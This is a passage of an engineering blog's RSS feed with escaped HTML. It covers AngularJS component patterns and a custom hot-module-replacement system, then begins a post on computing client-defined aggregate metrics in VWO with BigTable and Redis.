punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;vwo-icon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;selected-value-slot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;option-slot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;{{$slot.option.name}}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;vwo-icon&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;vwo-dynamic-tooltip-next&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;icon-size&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;20&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;icon-name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;icon--info&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;icon text--highlight&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;tooltip-content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; Clicking on this option will select {{$slot.option.name}} &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;tooltip-content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;vwo-icon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;option-slot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;vwo-select-box&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Modern frameworks provide a component-only approach to UI development, while AngularJS provides a full flexibility around that and which is taken to the next level with attribute based directives. Attribute based directives have a complete access to the whole life-cycle of an element and can modify it&apos;s behavior at any point of time. We use these directives very frequently to easily add reusable behaviors anywhere we&apos;d want.&lt;/p&gt; &lt;p&gt;For example, there is a very generic requirement to ellipsize texts in limited screen-estate, but along with ellipsizing, it also becomes a requirement to add title for screen-readers or for looking at complete text when hovered. We have been able to encapsulate all of this covering every edge-case in a very simple attribute that would ellipsize wherever required, automatically.&lt;/p&gt; &lt;p&gt;For example:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;Miw(0)&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;vwo-ellipsize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;{{ session.platformName }}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We use Mutation Observers, Resize Observers, real-time space availability checks, etc to decide the truncation of text and ensuring the element has title only if truncated. All of this wrapped in a cute-little attribute that we can put anywhere the text could grow. &lt;/p&gt; &lt;p&gt;See, AngularJS is not so bad after all 😅!&lt;/p&gt; &lt;h3 id=&quot;hot-module-replacement&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#hot-module-replacement&quot; aria-label=&quot;hot module replacement permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Hot Module Replacement&lt;/h3&gt; &lt;p&gt;Hot Module Replacement (HMR) is taken for granted these days with such incredible tooling at hand, and with native framework support, it becomes a breeze to develop user interfaces at an incredible pace. The feedback loop is almost friction-less and you get to see things on-screen as you type and save.&lt;/p&gt; &lt;div class=&quot;img-wrapper&quot; style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;50%&quot; src=&quot;/images/2023/01/laxman-hmr.jpeg&quot; alt=&quot;HMR meme&quot;&gt; &lt;/div&gt; &lt;p&gt;HMR is a fancy new thing and wasn&apos;t even a feature back then. With our archaic build process using grunt, loading modules using requireJS (AMD) and AngularJS with it&apos;s own cluttered dependency injection pattern, HMR was only a dream for us (at least until recently). This was more like looking for a Torque Converter in our stick-shift manual. &lt;/p&gt; &lt;p&gt;Although, it was need of the hour, as a full-reload of the app on every code change was wasting a lot of time of our developers. We started thinking around ways that could refresh the app with updated code in a jiffy without a full-reload.&lt;/p&gt; &lt;p&gt;There were multiple challenges and multiple iterations, but we were able to create a solution. Our latest HMR system streams all your HTML/TS/CSS changes to your browser in less than a second and the repaint is virtually flicker-free. The system uses multiple nuances of requireJs, AngularJS, TS and DOM along with a lot of intelligent caching and batching to make this possible under a second and flicker-free.&lt;/p&gt; &lt;p&gt;Don&apos;t tell, just show? Here you go 🚀:&lt;/p&gt; &lt;div class=&quot;img-wrapper&quot; style=&quot;text-align: center;&quot;&gt; &lt;video loop=&quot;true&quot; controls=&quot;true&quot; muted width=&quot;80%&quot; autoplay=&quot;true&quot; src=&quot;/images/2023/01/hmr-edit.mp4&quot; alt=&quot;HMR Video Preview&quot;&gt; &lt;/div&gt; &lt;br&gt; &lt;p&gt;A detailed blog post around how this system works is on the way. So, stay tuned!&lt;/p&gt; &lt;h2 id=&quot;whats-next&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#whats-next&quot; aria-label=&quot;whats next permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What&apos;s next&lt;/h2&gt; &lt;p&gt;We have been evolving our frontend engineering consistently to make it on-par with the new technologies and frameworks emerging all the time and shared some of the key tips and tricks in this post.&lt;/p&gt; &lt;div class=&quot;img-wrapper&quot; style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;40%&quot; src=&quot;/images/2023/01/tension.jpeg&quot; alt=&quot;Tension meme&quot;&gt; &lt;img width=&quot;40%&quot; src=&quot;/images/2023/01/tension-sorted.jpeg&quot; alt=&quot;Tension sorted meme&quot;&gt; &lt;/div&gt; &lt;p&gt;Despite these advancements, there are still some challenges that we need to overcome, such as build process speed and the need to optimize for performance and actually a new framework. Looking to the future, it&apos;s clear that we probably need to move on from AngularJS one day and we already have laid the stepping stones for that. We&apos;re in the process of moving away from our age old grunt to a newer build process (probably using &lt;a target=&quot;_blank&quot; href=&quot;https://vitejs.dev/&quot;&gt;Vite&lt;/a&gt;) which will provide us with the latest tooling, faster build and path to upgrade to a modern framework.&lt;/p&gt; &lt;p&gt;We&apos;ll share our progress around that in another blog post. Till then keep innovating and keep experimenting!&lt;/p&gt; &lt;p&gt;&lt;em&gt;PS: We&apos;re not too far 😉, and already have an alpha ready with Vite 🔥.&lt;/em&gt;&lt;/p&gt;</content:encoded><author>Pranav Jindal</author></item><item><title><![CDATA[Computing Aggregates in VWO]]></title><description><![CDATA[Introduction In VWO, we present clients with information about the data of their users' events in aggregated form on their dashboard…]]></description><link>https://engineering.wingify.com//posts/computing-aggregates-in-VWO/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/computing-aggregates-in-VWO/</guid><pubDate>Thu, 09 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h2&gt; &lt;p&gt;In VWO, we present clients with information about the data of their users&apos; events in aggregated form on their dashboard. Aggregates are calculations performed on a set of events using a specific aggregate function, based on specified conditions. In the VWO world, aggregates are also called metrics, which the client defines. Let&apos;s examine the journey of a visitor on an e-commerce platform. When a visitor lands on the product page, they may make the purchase. This can be viewed as a two-step process. There are two key business metrics to track: the number of visitors who land on the product page and the number of visitors who complete a purchase. By plotting these numbers on a daily basis, we can identify any trends that may exist. These numbers seem pretty straightforward in computation. But things get tricky when you give the freedom to apply any sort of conditions to your client to compute any sort of metrics.&lt;/p&gt; &lt;p&gt;For example, (Conditions)&lt;br&gt; compute only when&lt;/p&gt; &lt;ol&gt; &lt;li&gt;The visitor is a female&lt;/li&gt; &lt;li&gt;And the visitor is from India&lt;/li&gt; &lt;li&gt;Or the visitor has placed an order with a minimum value of $499.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;(Metrics)&lt;br&gt; And compute the below metrics:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;The overall number of such scenarios.&lt;/li&gt; &lt;li&gt;The number of unique visitors involved in such interactions&lt;/li&gt; &lt;li&gt;The total value of items sold during these interactions&lt;/li&gt; &lt;li&gt;The total quantity of items sold during these interactions.&lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;how-we-were-doing-it-earlier&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-we-were-doing-it-earlier&quot; aria-label=&quot;how we were doing it earlier permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How we were doing it earlier:&lt;/h2&gt; &lt;p&gt;We used to calculate metrics in &lt;a href=&quot;https://vwo.com/&quot;&gt;VWO&lt;/a&gt; using Postgres. However, our previous method was limited as it only involved simple calculations and a small number of metrics. We had a day-wise table with a few columns as metrics, and the pipeline would process raw events to update the counters in the table.&lt;/p&gt; &lt;h2 id=&quot;limitations-of-the-previous-implementation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#limitations-of-the-previous-implementation&quot; aria-label=&quot;limitations of the previous implementation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Limitations of the previous implementation:&lt;/h2&gt; &lt;ol&gt; &lt;li&gt;The client did not have the flexibility to create custom events and custom metrics.&lt;/li&gt; &lt;li&gt;Unique visitor tracking was accomplished using client-side cookies and was not incorporated into the pipeline.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;To address the limitations mentioned, we implemented an event-streaming architecture for the product. We now store raw visitor events in Google BigQuery and Clickhouse. This allows for real-time calculation of custom reports without the need for storing specific data.&lt;/p&gt; &lt;h2 id=&quot;why-cant-we-power-up-metrics-from-bigquery-and-clickhouse&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-cant-we-power-up-metrics-from-bigquery-and-clickhouse&quot; aria-label=&quot;why cant we power up metrics from bigquery and clickhouse permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Why can’t we power up metrics from Bigquery and Clickhouse?&lt;/h2&gt; &lt;p&gt;BigQuery is a very powerful tool to run very complex SQL queries on very large datasets. But it takes a few seconds to give results. The SLA for aggregate computation was in sub-seconds. So we could not use Bigquery for this reason.&lt;/p&gt; &lt;p&gt;ClickHouse is an open-source column-oriented DBMS for online analytical processing that allows users to generate analytical reports using SQL queries in real time. Initially, we powered up the metrics with Clickhouse, but over a period of time with continuously increasing data and continuously increasing parallel queries, we noticed that ClickHouse consumed more and more CPU resources to perform these computations. We knew ClickHouse will not sustain against the aforementioned conditions for a number of reasons:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Our computations combined with business logic were quite complex to perform on raw event data.&lt;/li&gt; &lt;li&gt;Clickhouse performs better when we directly aggregate the data without too many conditional transformations.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Our experience with Clickhouse showed that it would be challenging for any system to process raw events in real-time and deliver results in sub-seconds with limited resources. Therefore, we focused on creating a system that can compute metrics during data ingestion (at the time of writing the data) instead.&lt;/p&gt; &lt;h2 id=&quot;what-were-some-common-parameters-we-seek-a-solution-for&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-were-some-common-parameters-we-seek-a-solution-for&quot; aria-label=&quot;what were some common parameters we seek a solution for permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What were some common parameters, we seek a solution for?&lt;/h2&gt; &lt;ol&gt; &lt;li&gt;We needed to provide metrics at the visitor level, such as the amount spent on a visitor&apos;s first purchase.&lt;/li&gt; &lt;li&gt;We also had to compute metrics based on the uniqueness of visitors, such as calculating metrics only for unique visitors. This required a deduplication service to determine whether a visitor had been seen before.&lt;/li&gt; &lt;li&gt;Clients can define N number of metrics, we can’t choose SQL because there the table schema would be fixed.&lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;how-did-we-arrive-at-bigtable&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-did-we-arrive-at-bigtable&quot; aria-label=&quot;how did we arrive at bigtable permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How did we arrive at BigTable?&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;In our existing ecosystem, ClickHouse and Bigquery are OLAP databases that are not good with update operations. As the events and metrics can both be defined by the client, it would be challenging to implement this data structure in a SQL-based database.&lt;/li&gt; &lt;li&gt;Bigtable also has an inbuilt increment operator support which proves beneficial in terms of performance to increment metric counters concurrently from many threads.&lt;/li&gt; &lt;li&gt;We did not want to add 1 more database to the existing ecosystem, unless necessary. We were already using BigTable for some other scenarios, so it became our preferred choice.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;what-bigtable-brings-to-the-table-for-us&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-bigtable-brings-to-the-table-for-us&quot; aria-label=&quot;what bigtable brings to the table for us permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What BigTable brings to the table for us?&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability.&lt;/li&gt; &lt;li&gt;Consistent with single-digit millisecond latency&lt;/li&gt; &lt;li&gt;Seamless to scale to any storage and throughput.&lt;/li&gt; &lt;li&gt;Highly available with multi-primary replication.&lt;/li&gt; &lt;li&gt;Easily connect to Google Cloud services or the Apache ecosystem.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;implementation-using-bigtable-and-redis&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#implementation-using-bigtable-and-redis&quot; aria-label=&quot;implementation using bigtable and redis permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Implementation Using BigTable and Redis:&lt;/h2&gt; &lt;p&gt;The below diagram (Figure 1) gives an abstract idea of the data ingestion pipeline which is storing aggregated metrics in BigTable.&lt;/p&gt; &lt;h4 id=&quot;figure-1-high-level-design-of-aggregation-framework&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#figure-1-high-level-design-of-aggregation-framework&quot; aria-label=&quot;figure 1 high level design of aggregation framework permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Figure 1: High-Level Design of Aggregation Framework&lt;/h4&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ce873f0de7737f9f00831f94a6df7f51/0f586/figure1-bt-agg-high-level-diagram.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 75.72254335260115%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABHklEQVQ4y5WUiW6EMAxE+f/vRIhT3Dck1XM1VURZSiNZmyXJY8Z2iJxz/i4Y27b5oigs9n33bdv6NE193/f+07noCXgch6/r2oL5OI4Gn+fZ1l8DtVlQlGosy/K9z7tbaPSX5WmazGqWZaYOlTx7bZmBJak6z9Ov62pKNQ/3kdtQ6S1wGAbbrByikAGsqipbc+70Xdf9vPgVkEiSxKyiDnAcxwZC2WsgOUKNihLaCi2Tz31/AVS+AKGSvsvz3Cos9QzW2fcIFDQsiIrEi1AvxRqv2kZgDsu+LAP+V2OHMFUZleSM/xTjEzS62rzaIG/YxD7BHPuPjS01HEaJEh0+1wH1Z3hFfwE5hJ2macySbgC/KAJYlqV9aXT1rv2n+AJ7u52Ff1NOegAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;figure1 bt agg high level diagram&quot; title=&quot;figure1 bt agg high level diagram&quot; src=&quot;/static/ce873f0de7737f9f00831f94a6df7f51/1e043/figure1-bt-agg-high-level-diagram.png&quot; srcset=&quot;/static/ce873f0de7737f9f00831f94a6df7f51/991de/figure1-bt-agg-high-level-diagram.png 173w, /static/ce873f0de7737f9f00831f94a6df7f51/e4d6b/figure1-bt-agg-high-level-diagram.png 345w, /static/ce873f0de7737f9f00831f94a6df7f51/1e043/figure1-bt-agg-high-level-diagram.png 